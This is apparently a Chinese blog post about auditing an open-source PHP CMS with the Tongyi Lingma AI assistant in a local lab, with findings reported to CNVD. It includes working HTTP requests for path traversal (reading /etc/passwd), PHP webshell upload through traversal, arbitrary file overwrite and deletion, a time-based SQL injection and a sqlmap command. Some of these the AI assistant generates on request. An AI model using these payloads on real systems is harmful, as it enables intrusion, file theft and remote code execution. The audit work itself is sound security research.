【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

简介: 本文介绍了作者在数据安全比赛中遇到的一个开源框架的代码审计过程。作者使用了多种工具,特别是“通义灵码”,帮助发现了多个高危漏洞,包括路径遍历、文件上传、目录删除、SQL注入和XSS漏洞。文章详细描述了如何利用这些工具进行漏洞定位和验证,并分享了使用“通义灵码”的心得和体验。最后,作者总结了AI在代码审计中的优势和不足,并展望了未来的发展方向。

前言

已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。争取在未来的两个月内把这些内容都补上

准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。

赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,“通义灵码”起到了较大的帮助,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。

审计对象

本次审计的对象主要有两个:某开源PHP最新版6.0某开源OA最新版2.6.5

借助通义灵码,共审计出开源PHP最新版6.0高危漏洞4个,某开源OA最新版2.6.5高危漏洞1个 , 目前已提交至CNVD平台,尚在审核流程中,所以此处不便直接透露详细信息。

工具准备

环境搭建工具

phpstudy_pro(小皮面板):在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。

代码审计工具

Seay源代码审计:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji

CodeScan:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:https://github.com/Zjackky/CodeScan

RIPS :Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/

代码编写及辅助工具

Visual Studio Code :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。

通义灵码:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。

遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。

源码下载

由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。

image.png

image.png

环境搭建

将下载后的源码放在phpstudy的 www 目录下

image.png

进入 phpstudy_pro\WWW\cltopen-master\cltopen-master\config 目录下,修改数据库配置文件

image.png

修改之后可以进入数据库中,导入该开源项目的示例数据库

image.png

打开phpstudy ,设置域名和根目录

image.png

设置伪静态(必须)

location / {
   
    if (!-e $request_filename){
   
        rewrite  ^(.*)$  /index.php?s=$1  last;   break;
    }
}

image.png

点击确认即可,打开浏览器访问域名即可看到

同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件

审计打点

在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。

值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。

image.png

image.png

这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。

在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析)

源码分析

打开源码,进入到Template.php页面下,可以看到代码如下:

image.png

主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。

按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了通义灵码,一切都变得不一样了。

首先我们全选代码,使用提示词如下:

已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

这段 prompt 有几点比较关键:

  1. 我们需要明确告知灵码,这里确实存在安全漏洞,同时也是确认主题,避免输出其他内容

  2. 我们需要告知,找出它能确定的漏洞,减少误报和泛化判断

  3. 明确最终结果是分析该漏洞形成原因,也便于安全工程师理解

随即,灵码会针对该段代码进行一次静态审查,并给出结果如下:

安全漏洞及分析

1.路径遍历漏洞

位置:insert, edit, update, delete, imgDel , Images方法
原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。
示例:
php
$filename = input('post.file'); // 用户输入未验证
$path = $type==$this->viewSuffix ?  $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type; // 可能导致路径遍历

2.文件上传漏洞

位置:insert, update 方法
原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。
示例:
php
file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容

3.目录删除漏洞

位置:imgDel 方法
原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。
示例:
php
$path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证
$file=$path.input('post.filename'); // 可能导致路径遍历
is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件

4.SQL 注入漏洞

位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。
原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。

5.XSS 漏洞

位置:edit, images 方法
原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。
示例:
php
$content = file_get_contents($file); // 未转义
$this->assign ( 'content',$content ); // 直接输出到页面

image.png

每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉)

下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置

路径遍历漏洞、任意文件删除漏洞

image.png

采用BP抓包,此处以edit方法为例,可以发现拼接方式是 admin/模块/方法/操作对象类型/操作对象

image.png

观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法

其中请求包如下:

GET /admin/template/edit.html  HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去:

已知请求包如下,请你帮忙修改请求包以验证该漏洞存在:

image.png

此时,它会根据当前的传入参数自动构造一个修改后的返回包:

GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。

GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

除此,下面也配上了漏洞分析和预期结果:

漏洞分析
文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts
这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。
其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。

预期结果
如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。
如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。

再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容:

image.png
image.png

再比如,定位到Images方法处

image.png

采用BP抓包,可直接抓到如下地址:

image.png

借助灵码直接构造请求包如下:

GET /admin/template/images.html?folder=../../ HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

可在图片查看界面实现对文件目录的遍历:

image.png

同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害!

image.png

文件上传漏洞、文件内容覆盖漏洞

继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞

在BP中抓包地址如下:

image.png

我们先修改为insert方法,故当前请求包为:

POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包:

已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数

POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 65
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=test.php&type=php&content=<?php system($_GET['cmd']); ?>

可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包

image.png

并且下面也给出了相应解释及详细验证步骤

image.png

因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证

POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../shell&type=php&content=<?php eval($_POST[1]);?>

返回包提示添加成功

image.png

在static目录下可以看到该上传的文件

image.png

由于没有限制文件格式和内容,此处是可以上传任何格式和内容

同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数

image.png

这里直接延用上述请求包即可:

POST /admin/template/update.html HTTP/1.1
Host: public
Content-Length: 46
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../../ceshi.txt&type=txt&content=nihao

但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀)

执行后结果如下:

image.png

原测试文件内容如下:

image.png

执行后文件内容如下:

image.png

可以看到已实现对任意文件内容的修改

SQL注入漏洞

看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力

进入到广告管理模块下面,看到其调用的方法来自AD.php

继续使用上述prompt:

已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险

它给出的回答如下:

在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析:

1. index 方法中的 where 条件

->where('a.title', 'like', "%" . $key . "%")

成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。

2. editState 方法中的 where 条件

if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){
   

成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

3. del 方法中的 where 条件

db('ad')->where(array('id'=>input('id')))->delete();

成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。

最好使用参数绑定来确保安全性。

4. delall 方法中的 where 条件

$map[] =array('id','in',input('param.ids/a'));
db('ad')->where($map)->delete();

成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。

比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt:

请详细讨论editState 方法中的 where 条件

灵码就会针对该方法进行详细的分析:

问题分析
用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。

这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。

SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。

示例攻击
假设用户发送以下 POST 请求:

POST /admin/ad/editState HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

id=1 OR 1=1&open=1

生成的 SQL 语句将是:

UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1

这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。

image.png

对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置

image.png

抓包如下,构造延迟注入:

POST /admin/ad/editstate.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/ad/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0
Connection: close

id=38 and sleep(5)&open=1

验证发现可以延迟

image.png

随后采用SQLmap进行验证存在

py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba

image.png

workspace工作空间分析

除去对当前代码的基础分析外,灵码也可以对当前的工作空间进行整体分析:

image.png

进入workspace工作空间模式下,此时它可以直接读到本地项目,所以我们可以指明文件的目录位置来进行prompt提问:

@workspace
请你分析application/admin/controller/Common.php文件,判断出其中存在的安全漏洞。

灵码给出的回复如下:

image.png

如若不指出,也可以直接提问让其在整个工作空间下寻找漏洞点:

请指出该程序中可能存在的安全漏洞并加以简要分析

但是这种方法的缺点就在于"随机性"太强,因为灵码的输出字符数有限,且它引用的你本地代码文件数量有限,所以极有可能出现每次结果都完全不一样的情况,如果存在漏洞点较多,它的输出就更加模糊了。

image.png

这个功能的一些好处在于,它不仅能够帮助开发者更深入地理解自己的代码库,还能根据现有代码的逻辑和编程风格提供更加个性化、更加贴合实际需求的代码片段或优化建议。例如,通过分析现有的编码模式,该功能可以识别出重复的代码模板或者常见的开发习惯,进而提出改进措施来提高代码的可读性和效率。此外,对于那些希望保持项目一致性或是遵循特定设计模式的团队来说,这种定制化的反馈是非常有价值的。它还可以帮助识别潜在的bug或性能瓶颈,从而提升软件的质量与运行效率。

总结及展望

我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。

但同时,它仍然存在可提升空间:

  • 在理解和解释复杂业务逻辑方面的能力还有待加强,尤其是在面对非标准或高度定制化的代码时,其表现不尽如人意。

  • 在workspace模式下,有些过于僵硬,不能很好的理解我的需求

回望过去两年灵码能力的大幅度增强,我们有理由相信它在未来会变得更加智能和高效,能够更好地应对复杂代码结构和逻辑,减少误报率,提高漏洞检测的准确性。同时,通过不断优化用户体验,灵码将能够更好地适应多样化的需求,提供更加个性化和定制化的服务,使开发者和安全研究人员能够更专注于核心问题的解决。

相关文章
|
5月前
|
人工智能 运维 Cloud Native
解密通义灵码:软件研发工具的“大脑”
解密通义灵码:软件研发工具的“大脑”
|
11月前
|
安全 网络安全 数据库
"通义灵码"是一个用于生成通用模板的工具
"通义灵码"是一个用于生成通用模板的工具
229 1
|
23小时前
|
人工智能 持续交付 开发者
通义灵码:加速个人成长与团队协作的最佳实践
从首个AI代码助手——通义灵码公测至今已有一年。作为云服务商运维工程师,我通过使用通义灵码的个人版和企业版,体验到了其在项目启动、代码调试、团队协作等方面的强大功能。个人版的 @workspace 和 @terminal 功能帮助我快速上手新项目,企业版的 #team docs 和自动化工作流则显著提升了团队协作效率。以下是具体使用心得和案例分享。
169 40
通义灵码一周年:灵码编码搭子新功能测评
作为一名软件开发工程师,我使用通义灵码个人版的@workspace和@terminal功能,快速进行项目初始化、代码熟悉、需求实现、代码审查及协作开发,整体效率提升30%。通过智能提示、自动补全、代码审查等工具,大幅减少手动配置时间和错误率,使我能够更专注于创新工作。
|
1天前
|
IDE 开发工具 开发者
通义灵码一周年:灵码编码搭子新功能有奖测评
通义灵码一周年:灵码编码搭子新功能有奖测评 【10月更文挑战第24天】
11 2
Nyx
|
1天前
|
Java
通义灵码提升项目效率
本文介绍了作者作为Java后端开发工程师使用通义灵码进行项目开发的体验。通过安装插件、初步体验(了解项目结构、项目优化、异常排查、代码生成)和使用@terminal注解,作者感受到了显著的开发效率提升。文中还分享了作者的心得体会,强调了快速熟悉项目代码和整体架构的重要性。
Nyx
10 2
|
20小时前
|
数据可视化 数据库
通义灵码个人版新功能最佳实践测评
作为一名软件开发工程师,我使用通义灵码个人版的@workspace和@terminal功能,快速熟悉新的电商项目代码并实现新功能,效率提升了约30%。通过自动识别项目结构、代码分析、智能注释和自动补全等功能,大幅减少了查找资料和调试的时间,使开发流程更加顺畅,专注于业务逻辑实现。
8 1
|
2天前
|
IDE Java 测试技术
通义灵码测评报告
通义灵码测评报告
22 1
|
9天前
|
前端开发 项目管理 索引
通义灵码1岁啦:灵码编码搭子新功能有奖测评
通义灵码1岁啦:灵码编码搭子新功能有奖测评
28 3
|
17小时前
|
人工智能 程序员 测试技术
评测报告:通义灵码一周年新功能测评
通义灵码是基于通义大模型的AI研发辅助工具,提供AI编码助手和AI程序员功能,支持自动代码编写、注释生成、单元测试及代码优化等,显著提升开发效率。一周年庆推出的新功能,如任务拆解、缺陷修复等,进一步增强了用户体验。尽管已表现优异,但仍有界面优化和领域定制化学习等改进空间。通义灵码正逐步成为软件开发的强大助力。